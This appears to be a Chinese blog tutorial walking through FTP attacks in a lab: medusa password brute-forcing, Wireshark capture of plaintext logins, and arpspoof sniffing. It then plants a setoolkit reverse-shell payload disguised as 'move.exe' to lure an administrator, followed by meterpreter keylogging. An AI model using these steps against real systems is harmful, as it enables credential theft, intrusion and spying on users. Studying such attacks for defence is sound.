当前位置:网站首页>6-2漏洞利用-ftp不可避免的问题
6-2漏洞利用-ftp不可避免的问题
2022-07-02 01:11:00 【山兔1】

FTP用户名密码暴力破解
Windows下 CMD命令添加用户、以及提升Administrator管理员权限,之后这个用户将做为登录FTP的用户名和密码
net user 用户名 用户密码 /add
//表示添加新的用户名密码
net localgroup administrators 用户名 /add
//提升管理权限
net user admin1 admin1 /add
net localgroup administrators admin1 /add

windows下 FTP服务器添加用户,否则我们就不能使用我们添加的admin1用户登录
打开iis管理器

使用medusa暴力破解工具来破解admin1用户的密码

在最后输出了对应的用户名密码
先用nc连接一下ftp服务
nc 192.168.1.107 21
USER admin1
PASS admin1

连接成功
只有在输入正确的账号密码的情况下,才会登录成功
medusa

medusa -h 192.168.1.107 -u admin1 -P /root/Desktop/pass.txt -M ftp

可以看到,我们在最后发现了用户名密码,我们也可以不知道用户名、密码进行破解
这个时候,我们就可以用nc登录
FTP用户名密码验证
FTP协议中用于用户认证的过程中,客户端要与服务端进行通信,并且他们两个在验证过程中,客户端会发送明文的信息到服务端,服务端在整个过程中,接收到的信息都是明文状态,比如说,登录使用的弱口令、密码都是明文的,我们可以进行查看,不经过加密,比如说,客户端发送admin,在传送到服务端的整个过程中,我们都可以查看
我们可以在wireshark抓包进行查看

我们接下来,将使用nc连接当前的FTP服务器,然后使用wireshark进行抓包,从而验证,我们对应的明文传输
先打开ftp,选择eth0端口监听,模式选择ftp

nc 192.168.1.101 21
USER admin1
PASS admin1

我们来看一下wireshark抓的包

可以看到,都是明文
FTP用户名明文密码嗅探
因为整个传输过程中,都是使用明文状态,没有进行加密,我们可以在FTP和服务端进行嗅探,取对应的用户名和密码
利用arpspoof进行ARP嗅探,从而使得我们某一客户端,连接对应ftp服务器时,欺骗客户端,我们是网关,从而获得对应的数据包

这个时候,所有数据包都将发送到kali,我们就可以使用wireshark进行流量嗅探

发现对应的用户名和密码
ifconfig
arpspoof -i eth0 192.168.1.1 -t 192.168.1.105

arp -a

欺骗成功,我们看到192.168.1.1的mac地址是kali的mac地址
ftp 192.168.1.107
admin1
admin1

登录成功
嗅探与暴力破解,最大的不同,在于暴力破解需要强大的字典,而这种嗅探,我们只要嗅探成功,就可以获得对应的用户名和密码,即可进行登录
FTP登录之后做的事情
FTP主要是用来文件传输,接下来,我们就需要上传一个反弹shell,当管理员点击shell之后,服务器就会返回对应的cmd,执行窗口、执行权限,就会执行对应的命令
利用metasploit创建反弹shell上传到FTP服务器。可以利用setookit快速生成反弹shell。

setoolkit
4
2
192.168.1.106
4445

为了确保不冲突,我们可以查看当前kali开放端口
netstat -pantu

我们发现4445端口,不在当前的内容当中,我们就可以用4445端口,做为反弹监听的端口

这个时候,就开始生成对应的payload
开启监听
我们打开另外一个终端
cd /root/.set
ls
mv payload.exe /root/Desktop/

这个时候,我们可以使用ftp,把对应的payload上传,使用flashfxp软件,进行上传

上传成功后,就会在FTP服务器的根目录下,生成payload.exe

我们需要诱惑管理员点击,对应的exe文件,我们就需要进行修改,比如move.exe

很有可能,管理员会双击,我们就可以在kali当中,查看终端

终端当中,就会有对应的连接
sessions -l
//查看

sessions -i 1

可以看到连接上去,我们就可以进行操作了
HELP

我们可以进行键盘操作等等
sysinfo
//查看当前session当中win2k3的信息

keyscan_start
keyscan_dump

总结
同时要掌握FTP下的文件,是不能乱点,一定要加强对应的管理,否则我们点击了exe文件,就会导致服务器的沦陷,也从侧面发现,我们要对FTP用户加强管理,避免他们的用户名密码泄露,以及我们要在局域网当中,对它进行安全维护,防止arp嗅探到我们的ftp明文用户名和密码
边栏推荐
- [eight sorts ①] insert sort (direct insert sort, Hill sort)
- Upgraded wechat tool applet source code for mobile phone detection - supports a variety of main traffic modes
- 程序员该如何更好的规划自己的职业发展?
- Design and control of multi rotor aircraft (VII) -- sensor calibration and measurement model
- What are the differences between software testers with a monthly salary of 7K and 25K? Leaders look up to you when they master it
- [disease detection] realize lung cancer detection system based on BP neural network, including GUI interface
- Output results of convolution operation with multiple tensors and multiple convolution kernels
- Xinniuniu blind box wechat applet source code_ Support flow realization, with complete material pictures
- Develop a simple login logic based on SSM
- Global and Chinese market of wireless charging magnetic discs 2022-2028: Research Report on technology, participants, trends, market size and share
猜你喜欢

学习笔记3--高精度地图关键技术(上)

Basis of deep learning neural network

一名优秀的软件测试人员,需要掌握哪些技能?

【八大排序④】归并排序、不基于比较的排序(计数排序、基数排序、桶排序)

Geek DIY open source solution sharing - digital amplitude frequency equalization power amplifier design (practical embedded electronic design works, comprehensive practice of software and hardware)
![[eight sorting ③] quick sorting (dynamic graph deduction Hoare method, digging method, front and back pointer method)](/img/c2/7ebc67e9b886e3baf3c98489bf9bce.png)
[eight sorting ③] quick sorting (dynamic graph deduction Hoare method, digging method, front and back pointer method)

Docker installing Oracle_ 11g

About asp Net core uses a small detail of datetime date type parameter

Minimize the error

"C zero foundation introduction hundred knowledge hundred examples" (73) anonymous function -- lambda expression
随机推荐
DTL dephossite | prediction method of dephosphorylation sites based on Transfer Learning
How does schedulerx help users solve the problem of distributed task scheduling?
Common loss function of deep learning
什么是商业养老保险?商业养老保险安全靠谱吗?
Shell Function
Global and Chinese markets of edge AI software 2022-2028: Research Report on technology, participants, trends, market size and share
Principle of finding combinatorial number and template code
"C zero foundation introduction hundred knowledge hundred examples" (73) anonymous function -- lambda expression
Error creating bean with name ‘stringRedisTemplate‘ defined in class path re
King combat power query renamed toolbox applet source code - with traffic main incentive advertisement
测试人进阶技能:单元测试报告应用指南
测试员8年工资变动,令网友羡慕不已:你一个月顶我一年工资
About asp Net core uses a small detail of datetime date type parameter
Global and Chinese markets of beverage seasoning systems 2022-2028: Research Report on technology, participants, trends, market size and share
Data visualization in medical and healthcare applications
2022 high altitude installation, maintenance and removal of test question simulation test platform operation
CEPH buffer yyds dry inventory
一名优秀的软件测试人员,需要掌握哪些技能?
AIX存储管理之卷组的创建(一)
Global and Chinese markets of digital crosspoint switches and mux/demux 2022-2028: Research Report on technology, participants, trends, market size and share